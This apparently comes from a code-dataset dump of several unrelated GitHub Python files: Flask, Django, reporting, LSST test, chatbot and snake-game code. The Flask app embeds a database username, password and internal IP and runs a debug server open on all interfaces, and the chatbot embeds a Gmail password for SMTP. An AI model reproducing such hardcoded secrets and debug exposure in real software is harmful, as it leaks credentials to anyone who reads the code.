format\")\n elif inp[0] == \"contains\":\n print(inp[1] in emails)\n elif inp[0] == \"delete\":\n email = inp[1]\n if email in emails:\n emails.remove(email)\n print(\"Successfully deleted\")\n else:\n print(\"This email do not exists\")\n\n\n# unique_numbers([4, 5, 6, 7, 4, 5, 9, 7, 5, 1, 2, 3])\n# fill_set_and_check_if_exists()\n# emails_manager()\n\ndef phonebook_manager():\n phonebook = dict()\n while True:\n inp = input().split(\" \")\n if len(inp) == 3:\n if inp[0] == \"insert\":\n try:\n int(inp[2])\n print(\"Phone successfully added\")\n except:\n print(\"Phone must be number\")\n continue\n phonebook[inp[1]] = inp[2]\n else:\n print(\"Unknown command\")\n elif len(inp) == 2:\n name = inp[1]\n if name in phonebook:\n if inp[0] == \"get\":\n print(phonebook[inp[1]])\n if inp[0] == \"delete\":\n del phonebook[name]\n print(\"Phone successfully deleted\")\n else:\n print(\"Not found\")\n\n\nphonebook_manager()\n","repo_name":"SultanOfWing/homework3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31328698618","text":"from flask import Flask, Response\nfrom datetime import datetime\nfrom flask import request, render_template, make_response\nfrom flask_sqlalchemy import SQLAlchemy\nfrom jinja2 import Environment, select_autoescape\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom flask_http2_push import http2push\n\nimport pymssql\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI']=\"mssql+pymssql://LineDaq:Ll123456@10.49.0.9/kanban\"\ndb = SQLAlchemy(app)\n\n@app.route(\"/\")\n\ndef hello():\n return \"Hello Prettl\"\n\n@app.route(\"/time\")\ndef utime():\n return \"%s\"% int(datetime.today().timestamp())\n\nclass CalculatedTurns(db.Model):\n\n __tablename__ = 'LDAQcalculatedTable'\n id = db.Column( 'id', db.Integer, primary_key=True )\n iP = db.Column('iP', db.String(50), nullable=False)\n line = db.Column('line', db.String(50), nullable=False)\n startTime = db.Column('startTime', db.String(11), nullable=False)\n stopTime = db.Column('stopTime', db.String(11), nullable=False)\n workIntervals = db.Column('workIntervals', db.String(11), nullable=False)\n turns = db.Column('turns', db.String(11), nullable=False)\n userAgent = db.Column('userAgent', db.String(200), nullable=False)\n descrption = db.Column('descrption', db.String(50), nullable=False)\n\nclass TimeTurns(db.Model):\n\n __tablename__ = 'LDAQrealTimeTable'\n id = db.Column( 'id', db.Integer, primary_key=True )\n ip = db.Column('ip', db.String(50), nullable=False)\n line = db.Column('line', db.String(50), nullable=False)\n eventTime = db.Column('eventTime', db.String(11), nullable=False)\n userAgent = db.Column('userAgent', db.String(200), nullable=False)\n event = db.Column('event', db.String(50), nullable=False)\n\n@app.route(\"/timeCturns\")\n\ndef select_info():\n\n db.session.add( CalculatedTurns( iP=request.headers['Host'],\n line=request.args['line'],\n startTime=request.args['starttime'],\n stopTime=request.args['stoptime'],\n workIntervals=request.args['workintervals'],\n turns=request.args['turns'],\n userAgent=request.headers['User-Agent'],\n descrption=request.args['descrption'] ) )\n db.session.commit()\n\n return \"OK\\n\"\n\n@app.route(\"/timeturns\")\n\ndef select_info_time():\n\n db.session.add(TimeTurns(ip=request.headers['Host'],\n line=request.args['line'],\n eventTime=request.args['eventTime'],\n userAgent=request.headers['User-Agent'],\n event=request.args['event']))\n db.session.commit()\n\n return \"OK\\n\"\n\n@app.route(\"/report\")\ndef report():\n\n timeturns = db.session.query(TimeTurns).order_by(TimeTurns.id.desc()).limit(100)\n\n return render_template('template.html', title='Peter', timeturns=timeturns, datetime=datetime, int=int, timedelta=timedelta(hours=2))\n\ndef dateClock():\n\n datetime.fromtimestamp()\n\n@app.route(\"/test\")\ndef test():\n timeturns = db.session.query( TimeTurns ).order_by( TimeTurns.id.desc() ).limit( 2 )\n timeturns2 = db.session.query( TimeTurns ).order_by( TimeTurns.id.desc() ).limit( 8 )\n roundStart = int( timeturns[1].eventTime )\n roundEnd = int( timeturns[0].eventTime )\n roundSpeed = roundEnd - roundStart\n\n return render_template('setInterval.html', speedRound=roundSpeed, timeturns=timeturns2, datetime=datetime, int=int, timedelta=timedelta(hours=2))\n\n@app.route(\"/lastcw\")\ndef lastcw():\n timeturns = db.session.query(TimeTurns).order_by(TimeTurns.id.desc()).limit(2)\n response = make_response()\n response.headers['Content-Type'] = 'application/json'\n\n import json\n obj = {\"startTime\": timeturns[1].eventTime,\n \"startEvent\": timeturns[1].event,\n \"endTime\": timeturns[0].eventTime,\n \"endEvent\": timeturns[0].event,\n }\n json = json.dumps(obj)\n response.set_data(json)\n return response\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True, port=61234)","repo_name":"PeterIanush/packing_station","sub_path":"etime.py","file_name":"etime.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72175755307","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport website.jdpages.models\nimport mezzanine.core.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contenttypes', '0001_initial'),\n ('pages', '__first__'),\n ('sites', '0001_initial'),\n ('blog', '__first__'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='BlogCategoryPage',\n fields=[\n ('page_ptr', models.OneToOneField(parent_link=True, serialize=False, auto_created=True, to='pages.Page', primary_key=True)),\n ('content', mezzanine.core.fields.RichTextField(verbose_name='Content')),\n ('show_excerpt', models.BooleanField(help_text='Show only the first paragraph of a blog post.', default=False)),\n ('blog_category', models.ForeignKey(to='blog.BlogCategory')),\n ],\n options={\n 'verbose_name': 'Blog category page',\n 'ordering': ('_order',),\n 'verbose_name_plural': 'Blog category pages',\n },\n bases=('pages.page', models.Model),\n ),\n migrations.CreateModel(\n name='ColumnElement',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('name', models.CharField(max_length=1000, default='', blank=True)),\n ('object_id', models.PositiveIntegerField(verbose_name='related object id', null=True)),\n ('subtype', models.CharField(max_length=2, default='', choices=[('CP', 'Compact')], blank=True)),\n ('content_type', models.ForeignKey(to='contenttypes.ContentType', null=True, blank=True)),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'verbose_name': 'Column element',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ColumnElementWidget',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('_order', models.IntegerField(verbose_name='Order', null=True)),\n ('title', models.CharField(max_length=1000, default='', blank=True)),\n ('max_items', models.PositiveIntegerField(default=3)),\n ('horizontal_position', models.CharField(default='Right', choices=[('Left', 'Left'), ('Right', 'Right')], max_length=20)),\n ('column_element', models.ForeignKey(to='jdpages.ColumnElement', null=True)),\n ],\n options={\n 'verbose_name': 'Column widget',\n 'ordering': ('_order',),\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Document',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('_order', models.IntegerField(verbose_name='Order', null=True)),\n ('document', mezzanine.core.fields.FileField(verbose_name='Document', max_length=200)),\n ('description', models.CharField(verbose_name='Description', max_length=1000, blank=True)),\n ],\n options={\n 'verbose_name': 'Document',\n 'ordering': ('_order',),\n 'verbose_name_plural': 'Documents',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='DocumentListing',\n fields=[\n ('page_ptr', models.OneToOneField(parent_link=True, serialize=False, auto_created=True, to='pages.Page', primary_key=True)),\n ('content', mezzanine.core.fields.RichTextField(verbose_name='Content')),\n ],\n options={\n 'verbose_name': 'Document Listing',\n 'ordering': ('_order',),\n 'verbose_name_plural': 'Document Listings',\n },\n bases=('pages.page', models.Model),\n ),\n migrations.CreateModel(\n name='EventColumnElement',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('type', models.CharField(choices=[('SI', 'Site'), ('AL', 'All'), ('MA', 'Main site'), ('SM', 'Main and site')], max_length=2)),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='HomePage',\n fields=[\n ('page_ptr', models.OneToOneField(parent_link=True, serialize=False, auto_created=True, to='pages.Page', primary_key=True)),\n ('content', mezzanine.core.fields.RichTextField(verbose_name='Content')),\n ],\n options={\n 'verbose_name': 'Homepage',\n 'ordering': ('_order',),\n },\n bases=('pages.page', models.Model),\n ),\n migrations.CreateModel(\n name='PageHeaderImageWidget',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('name', models.CharField(max_length=1000, default='', blank=True)),\n ('image', mezzanine.core.fields.FileField(validators=[website.jdpages.models.validate_header_image], max_length=200)),\n ('page', models.ForeignKey(to='pages.Page', null=True)),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'abstract': False,\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Sidebar',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'verbose_name': 'Sidebar',\n 'verbose_name_plural': 'Sidebar',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SidebarBannerWidget',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('title', models.CharField(default='', max_length=200)),\n ('active', models.BooleanField(default=True)),\n ('image', mezzanine.core.fields.FileField(max_length=200)),\n ('url', models.URLField(help_text='http://www.example.com')),\n ('description', models.CharField(help_text='This is shown as tooltip and alt text.', max_length=200, default='', blank=True)),\n ],\n options={\n 'verbose_name': 'Global sidebar banner',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SidebarBlogCategoryWidget',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('title', models.CharField(default='', max_length=200)),\n ('blog_category', models.ForeignKey(to='blog.BlogCategory', null=True)),\n ('sidebar', models.ForeignKey(to='jdpages.Sidebar')),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'verbose_name': 'Sidebar blogcategory',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SidebarTabsWidget',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('active', models.BooleanField(default=True)),\n ('sidebar', models.OneToOneField(to='jdpages.Sidebar')),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'verbose_name': 'Sidebar tabs widget',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SidebarTwitterWidget',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('active', models.BooleanField(default=False)),\n ('sidebar', models.OneToOneField(to='jdpages.Sidebar')),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'verbose_name': 'Sidebar twitter widget',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='SocialMediaButton',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('_order', models.IntegerField(verbose_name='Order', null=True)),\n ('type', models.CharField(choices=[('FB', 'Facebook'), ('LI', 'LinkedIn'), ('TW', 'Twitter'), ('YT', 'YouTube')], max_length=2)),\n ('url', models.URLField()),\n ('sidebar', models.ForeignKey(to='jdpages.Sidebar')),\n ('site', models.ForeignKey(to='sites.Site', editable=False)),\n ],\n options={\n 'verbose_name': 'Social media button',\n 'ordering': ('_order',),\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='document',\n name='document_listing',\n field=models.ForeignKey(to='jdpages.DocumentListing', related_name='documents'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='columnelementwidget',\n name='page',\n field=models.ForeignKey(to='pages.Page', null=True),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='columnelementwidget',\n name='site',\n field=models.ForeignKey(to='sites.Site', editable=False),\n preserve_default=True,\n ),\n ]\n","repo_name":"jonge-democraten/website","sub_path":"website/jdpages/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":10578,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"21125439753","text":"# ==============================================================================\n# events_list.py file which includes all controllers responsible for working with\n# requests for participation in the event and invitations to events\n# ==============================================================================\n\nfrom typing import Any, Type, final\n\nfrom authentication.models import User\nfrom config.exceptions import _404\nfrom config.openapi import (\n offset_query,\n skip_param_query,\n)\nfrom django.db.models.query import QuerySet\nfrom django.utils.decorators import (\n method_decorator,\n)\nfrom drf_yasg.utils import swagger_auto_schema\nfrom events.decorators import not_in_black_list\nfrom events.models import (\n Event,\n InviteToEvent,\n RequestToParticipation,\n)\nfrom events.serializers import (\n BulkAcceptOrDeclineRequestToParticipationSerializer,\n InvitesToEventListSerializer,\n InviteUsersToEventSerializer,\n RequestToParticipationSerializer,\n)\nfrom events.services import (\n bulk_accept_or_decline_invites_to_events,\n bulk_accpet_or_decline_requests_to_participation,\n invite_users_to_event,\n)\nfrom rest_framework.generics import (\n GenericAPIView,\n ListAPIView,\n)\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\nfrom rest_framework.serializers import Serializer\nfrom rest_framework.status import HTTP_200_OK\nfrom utils import (\n paginate_by_offset,\n skip_objects_from_response_by_id,\n)\n\n\nclass InviteUsersToEvent(GenericAPIView):\n \"\"\"\n Invite user to event\n\n This endpoint allows the author of the event\n and the user who is a participant in the event\n to send invitations to participate in this event\n \"\"\"\n\n serializer_class: Type[Serializer] = InviteUsersToEventSerializer\n\n @swagger_auto_schema(tags=[\"invites-to-event\"])\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n data = invite_users_to_event(\n event_id=serializer.validated_data[\"event_id\"],\n users_ids=serializer.validated_data[\"ids\"],\n request_user=request.user,\n )\n return Response(data, status=HTTP_200_OK)\n\n\n@method_decorator(\n swagger_auto_schema(\n manual_parameters=[skip_param_query, offset_query], tags=[\"invites-to-event\"]\n ),\n name=\"get\",\n)\n@paginate_by_offset\nclass InvitesToEventList(ListAPIView):\n \"\"\"\n List of my invitations to events\n\n This endpoint allows the user to\n view all of his event invitations.\n \"\"\"\n\n serializer_class: Type[Serializer] = InvitesToEventListSerializer\n queryset: QuerySet[InviteToEvent] = InviteToEvent.get_all().filter(\n status=InviteToEvent.Status.WAITING\n )\n\n @skip_objects_from_response_by_id\n def get_queryset(self) -> QuerySet[InviteToEvent]:\n return self.queryset.filter(recipient=self.request.user)\n\n\nclass BulkAcceptOrDeclineInvitesToEvent(GenericAPIView):\n \"\"\"\n Accepting/declining invitations to participate in an event\n\n This endpoint gives the user the ability to\n accept or decline requests to participate in events.\n \"\"\"\n\n serializer_class: Type[\n Serializer\n ] = BulkAcceptOrDeclineRequestToParticipationSerializer\n queryset: QuerySet[Event] = InviteToEvent.get_all()\n\n @swagger_auto_schema(tags=[\"invites-to-event\"])\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n data: dict[str, int] = bulk_accept_or_decline_invites_to_events(\n data=serializer.validated_data, request_user=request.user\n )\n return Response(data, status=HTTP_200_OK)\n\n\n@method_decorator(\n swagger_auto_schema(\n manual_parameters=[skip_param_query, offset_query], tags=[\"invites-to-event\"]\n ),\n name=\"get\",\n)\n@paginate_by_offset\nclass RequestToParticipationsList(ListAPIView):\n \"\"\"\n List of requests for participation in the event\n\n This endpoint allows all users to view\n applications for participation in a\n particular private event\n \"\"\"\n\n serializer_class: Type[Serializer] = RequestToParticipationSerializer\n queryset: QuerySet[\n RequestToParticipation\n ] = RequestToParticipation.get_all().filter(\n status=RequestToParticipation.Status.WAITING\n )\n\n @not_in_black_list\n @skip_objects_from_response_by_id\n def list(self, request: Request, pk: int) -> Response:\n\n try:\n event: Event = Event.objects.get(id=pk)\n queryset = self.queryset.filter(event=event)\n serializer = self.serializer_class(queryset, many=True)\n\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(serializer.data)\n serializer = self.serializer_class(queryset, many=True)\n return Response(serializer.data, status=HTTP_200_OK)\n except Event.DoesNotExist:\n raise _404(object=Event)\n\n\nclass BulkAcceptOrDeclineRequestToParticipation(GenericAPIView):\n \"\"\"\n Accepting/declining requests to participate in an event\n\n This endpoint allows the author of a private\n event to accept or reject applications for\n participation in his event.\n \"\"\"\n\n serializer_class: Type[\n Serializer\n ] = BulkAcceptOrDeclineRequestToParticipationSerializer\n queryset: QuerySet[RequestToParticipation] = RequestToParticipation.get_all()\n\n @swagger_auto_schema(tags=[\"invites-to-event\"])\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n data: dict[str, list[int]] = bulk_accpet_or_decline_requests_to_participation(\n data=serializer.validated_data, request_user=request.user\n )\n return Response(data, status=HTTP_200_OK)\n","repo_name":"blanderbit/BE_blanball","sub_path":"project/events/views/invites_to_event.py","file_name":"invites_to_event.py","file_ext":"py","file_size_in_byte":6063,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"29851229411","text":"import os\nfrom datetime import date, datetime\n\nfrom fpdf import FPDF\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom pandas.plotting import register_matplotlib_converters\nimport pandas as pd\n\n\nclass Report:\n\n @staticmethod\n def printable_types():\n return {int, float, str, np.float64, date, datetime, pd.Timestamp}\n\n def __init__(self):\n self.row_width = 20\n self.row_height = 10\n self.font_family = 'Arial'\n self.font_size = 10\n \n\n def generate_report_dir(self):\n dir_path = os.path.join(os.path.expanduser('~'), 'backtester_database', 'report')\n if not os.path.isdir(dir_path):\n try:\n os.mkdir(dir_path)\n except:\n raise PermissionError('Unable to create reporting folder')\n return dir_path\n \n\n def generate_report(self, backtest_engine):\n \"\"\"\n backtest_engine: core.engine.Engine object\n saves the PDF backtest report into report folder\n \"\"\"\n report = FPDF()\n report.add_page()\n report.set_font(self.font_family, size=self.font_size)\n\n for field, value in vars(backtest_engine).items():\n if type(value) in Report.printable_types():\n report = self.print_row(report, field, value)\n \n report = self.print_list(report, backtest_engine.trades, 'Trades')\n report = self.generate_plot(report, backtest_engine.total_return_trend, 'Total Return Chart')\n folder_path = self.generate_report_dir()\n file_name = str(datetime.now()) + '.pdf'\n full_file_name = os.path.join(folder_path, file_name)\n report.output(full_file_name)\n\n\n def generate_plot(self, report, dataframe, plot_title):\n report.cell(self.row_width, self.row_height, txt=plot_title, ln=1)\n register_matplotlib_converters()\n dataframe.plot()\n folder_path = self.generate_report_dir()\n pic_path = os.path.join(folder_path, 'chart.png')\n plt.savefig(pic_path)\n report.image(pic_path, w=200)\n return report\n \n\n def print_list(self, report, item_list, section_header):\n report.cell(self.row_width, self.row_height, txt=section_header, ln=1)\n for item in item_list:\n if type(item) in Report.printable_types():\n report.cell(self.row_width, self.row_height, txt=str(item), ln=1)\n else:\n report = self.print_dict(report, vars(item))\n return report\n\n\n def print_dict(self, report, dictionary):\n report.cell(self.row_width, self.row_height, txt=str(dictionary), ln=1)\n return report\n\n\n def print_row(self, report, field, value):\n text = field + \" : \" + str(value)\n report.cell(self.row_width, self.row_height, txt=text, ln=1, align='L')\n return report\n\n\n def print_dataframe(self, report, dataframe):\n for col_name in dataframe.columns:\n report.cell(self.row_width, self.row_height, txt=col_name, border=1)\n \n report.ln(self.row_height) \n for row_idx in range(dataframe.shape[0]):\n for col_idx in range(dataframe.shape[1]):\n report.cell(self.row_width, self.row_height, \n txt=str(dataframe.iloc[row_idx, col_idx], border=1))\n report.ln(self.row_width)\n return report ","repo_name":"fricative/backtester","sub_path":"backtester/core/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"778710157","text":"import unittest\n\n\nimport numpy as np\n\nimport lsst.geom\nimport lsst.afw.geom as afwGeom\nimport lsst.afw.table as afwTable\nimport lsst.meas.algorithms as measAlg\nimport lsst.utils.tests\n\n\nclass Ticket2986Test(unittest.TestCase):\n\n def test(self):\n schema = afwTable.ExposureTable.makeMinimalSchema()\n schema.addField(\"ccd\", np.int32, doc=\"CCD number\")\n schema.addField(\"visit\", np.int32, doc=\"Visit number\")\n schema.addField(\"goodpix\", np.int32, doc=\"Number of good pixels\")\n schema.addField(\"weight\", float, doc=\"Weighting for this CCD\")\n ccds = afwTable.ExposureCatalog(schema)\n\n scale = 1.0e-4*lsst.geom.degrees\n wcs = afwGeom.makeSkyWcs(crpix=lsst.geom.Point2D(0.0, 0.0),\n crval=lsst.geom.SpherePoint(0.0, 0.0, lsst.geom.degrees),\n cdMatrix=afwGeom.makeCdMatrix(scale=scale))\n new = ccds.addNew()\n new.set(\"id\", 0)\n new.set(\"bbox_min_x\", 0)\n new.set(\"bbox_min_y\", 0)\n new.set(\"bbox_max_x\", 1024)\n new.set(\"bbox_max_y\", 1024)\n\n # The following lines are critical for reproducing the bug, because\n # the code is reading a double starting at the 'ccd' (offset 24), and\n # it sees a zero (from the zero in 'ccd' and the leading zeros in 'visit').\n new.set(\"ccd\", 0)\n new.set(\"visit\", 6789)\n\n new.set(\"goodpix\", 987654321)\n new.set(\"weight\", 1.0)\n new.setPsf(measAlg.SingleGaussianPsf(23, 23, 2.345))\n new.setWcs(wcs)\n\n # In the presence of the bug, the following fails with\n # lsst::pex::exceptions::RuntimeError thrown in src/CoaddPsf.cc\n # with message: \"Could not find a valid average position for CoaddPsf\"\n measAlg.CoaddPsf(ccds, wcs)\n\n\nclass TestMemory(lsst.utils.tests.MemoryTestCase):\n pass\n\n\ndef setup_module(module):\n lsst.utils.tests.init()\n\n\nif __name__ == \"__main__\":\n lsst.utils.tests.init()\n unittest.main()\n","repo_name":"lsst/meas_algorithms","sub_path":"tests/test_ticket-2986.py","file_name":"test_ticket-2986.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"74354839146","text":"import re\r\nimport random\r\nimport smtplib\r\nimport os\r\nimport time\r\n\r\nEMAIL_ADDRESS = 'publicforpython@gmail.com'\r\nEMAIL_PASSWORD = 'Test11111'\r\n\r\nclass FrankBot:\r\n negative_responses = (\"no\", \"nope\", \"nah\", \"naw\", \"not a chance\", \"sorry\")\r\n exit_commands = (\"quit\", \"pause\", \"exit\", \"goodbye\", \"bye\", \"later\", \"stop\", 'return')\r\n random_questions = (\r\n \"What would you like to know about Frank Li?\",\r\n 'What are something you are really curious about him?',\r\n 'How can I introduce him better?',\r\n 'What else can I tell you about Frank?',\r\n )\r\n\r\n def __init__(self):\r\n self.frankabout = {'describe_frank_intent': r'.*\\s*is\\s?[fF]rank.*',\r\n 'frank_skill_intent': r'.*\\s?([fF]rank(.*)?)?\\s*skills?.*',\r\n 'frank_like_hobby_intent': r'.*\\s*hobb(y|ies).*',\r\n 'frank_like_food_intent': r'.*food.*(likes?)?.*',\r\n 'frank_work_experience': r'.*\\s*(work)?.*experiences?.*',\r\n 'frank_background_intent': r'.*\\s(background|educations?).*',\r\n 'frank_goal_intent': r'.*\\s*(achieve|goals?|dreams?).*',\r\n }\r\n\r\n def greet(self):\r\n self.name = input('Hello there, this is Frankbot, what is your names?')\r\n will_help = input(f'Hi {self.name}, I\\'m a Frankbot, a digital assistant for Frank Li. Shall I introduce him to you?')\r\n if will_help in self.negative_responses:\r\n print(f'Cool, have a nice day {self.name}!')\r\n time.sleep(3)\r\n return\r\n self.chat()\r\n\r\n def make_exit(self, reply):\r\n for exit_command in self.exit_commands:\r\n if exit_command in reply:\r\n send_email = input(\"Do you want to send a message to Frank's email? Reply:y/n\")\r\n if send_email == 'y':\r\n self.send_email()\r\n time.sleep(3)\r\n return True\r\n elif send_email == 'n':\r\n print('Cool, have a wonderful day!')\r\n time.sleep(3)\r\n return True\r\n\r\n def send_email(self):\r\n with smtplib.SMTP('smtp.gmail.com', 587) as smtp:\r\n smtp.ehlo()\r\n smtp.starttls()\r\n smtp.ehlo()\r\n\r\n smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)\r\n\r\n subject = 'Message from FrankChatBot'\r\n body = input('please type you message here:')\r\n\r\n msg = f'Subject: {subject}\\n\\n{body}'\r\n smtp.sendmail(EMAIL_ADDRESS, 'knightofsacred@gmail.com', msg)\r\n print('I will let him know this meesage, in the meantime, have a nice day!')\r\n\r\n def chat(self):\r\n reply = input(random.choice(self.random_questions)).lower()\r\n while not self.make_exit(reply):\r\n reply = input(self.match_reply(reply))\r\n\r\n def match_reply(self, reply):\r\n for intent, regex_pattern in self.frankabout.items():\r\n found_match = re.match(regex_pattern, reply)\r\n if found_match and intent == 'describe_frank_intent':\r\n return self.describe_frank_intent()\r\n elif found_match and intent == 'frank_skill_intent':\r\n return self.frank_skill_intent()\r\n elif found_match and intent == 'frank_like_hobby_intent':\r\n return self.frank_like_hobby_intent()\r\n elif found_match and intent == 'frank_like_food_intent':\r\n return self.frank_like_food_intent()\r\n elif found_match and intent == 'frank_work_experience':\r\n return self.frank_experience()\r\n elif found_match and intent == 'frank_background_intent':\r\n return self.frank_background_intent()\r\n elif found_match and intent == 'frank_goal_intent':\r\n return self.frank_goal_intent()\r\n\r\n return self.no_match_intent()\r\n\r\n def describe_frank_intent(self):\r\n responses = ('Frank Li is currently study Electrical Engineering in UCSD, he is interested in computer related fields. He also has a fond interest in jazz saxophone, he created a jazz band (Francology) in his high school and they had 5 total performances in that year!')\r\n return responses\r\n\r\n def frank_skill_intent(self):\r\n responses = ('Frank knows python, html and css for programming. In other fields, he also knows Jazz saxophone, digital electronics CAD modeling')\r\n return responses\r\n\r\n def frank_like_hobby_intent(self):\r\n response = ('Frank likes to play saxophone, go to gym, programming, watch TV, read books (by the way he is a huge Lord of the Ring fan!), and hangout with his friends.')\r\n return response\r\n\r\n def frank_like_food_intent(self):\r\n response = ('Literally, he can almost eat anything you throw at him (of course human consumable food.), his really likes steaks, rice, BBQ, chick-fil-a and noodles!')\r\n return response\r\n\r\n def frank_experience(self):\r\n Aspin = 'Frank was able to obtain an internship at UCI during his junior year in high school, he was luckily to be working with ASPIN team where he designed a box that will contain all electrical equipments that would be mounted onto a Unmanned Aerial Vehicle to test out GPS for self-driving configuration.'\r\n Mcdonalds = 'Franks was able to work part-time in Mcdonalds during his junior year and senior year. His main tasks were to taking orders, making orderes in an adequate manner and offer good customer services. Through two years in Mcdonalds he learned a lot about life, overall he is quite proud of this experience!'\r\n JazzBand = 'In junior year, Frank was fortunate to be chosen as second Alto in Riverside City College Honor Jazz Band (tribute to Duke Ellington). He quickly leanred a lot about big band performances, learned about big band jazz standards and play Jazz with many talented young Jazz musicians. He was very glad about that experience!'\r\n ask_again = 'Would you like to know the other two experiences [y/n]?'\r\n explain = input('Frank has experience in many areas, [1] he has experience in Jazz band, [2] he worked at Mcdonalds [3] and he had an engineering internship, which one would you like to know (type 1 or 2 or 3)?')\r\n if explain == '1':\r\n print(Aspin)\r\n ask = input(ask_again)\r\n if ask == 'y':\r\n return self.frank_experience()\r\n return self.chat()\r\n\r\n elif explain == '2':\r\n print(Mcdonalds)\r\n ask = input(ask_again)\r\n if ask == 'y':\r\n return self.frank_experience()\r\n return self.chat()\r\n\r\n elif explain == '3':\r\n print(JazzBand)\r\n ask = input(ask_again)\r\n if ask == 'y':\r\n return self.frank_experience()\r\n return self.chat()\r\n\r\n return self.chat()\r\n\r\n\r\n def frank_background_intent(self):\r\n response = ('Frank comes from China, he lived in America for about 6 years now. He was first attended Southlands Christian School in 8th grade then move onto Diamond Bar High School. And now he is currently studying electrical engineering in UC San Diego.')\r\n return response\r\n\r\n\r\n def frank_goal_intent(self):\r\n response = ('Frank wishes to be able to be proficient at coding through an internship in a tech company, he also wishes to ultimately work at one of the FAANG companies once he graduated from UCSD.')\r\n return response\r\n\r\n\r\n def no_match_intent(self):\r\n responses = ('Sorry, I am not sure what you mean, can you say that again?', 'Sorry, I do not understand that, can you say that in a different way?' )\r\n return random.choice(responses)\r\n\r\n# Create an instance of FrankBot below:\r\nmy_bot = FrankBot()\r\nmy_bot.greet()\r\n\r\n","repo_name":"Franktheknight/FrankBot","sub_path":"FrankChatBot.py","file_name":"FrankChatBot.py","file_ext":"py","file_size_in_byte":7801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5050317272","text":"import random\nimport pygame\nimport sys\n\npygame.init()\npygame.font.init()\n\nWIDTH, HEIGHT = 800, 680\nBLOCK_SIZE = 40\nSCREEN = pygame.display.set_mode((WIDTH, HEIGHT+20))\nclock = pygame.time.Clock()\nfont = pygame.font.SysFont(pygame.font.get_default_font(), 27)\n\nRED = (255, 0, 0)\nBLACK = (0, 0, 0)\nBLUE = (0, 0, 255)\nGREEN = (0, 255, 0)\nWHITE = (255, 255, 255)\n\n\n#defines point (cells) on screen\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n#defines body and head of snake on points\nclass Snake():\n def __init__(self):\n #initiating head\n self.body = [\n Point(\n x=WIDTH // BLOCK_SIZE // 2,\n y=HEIGHT // 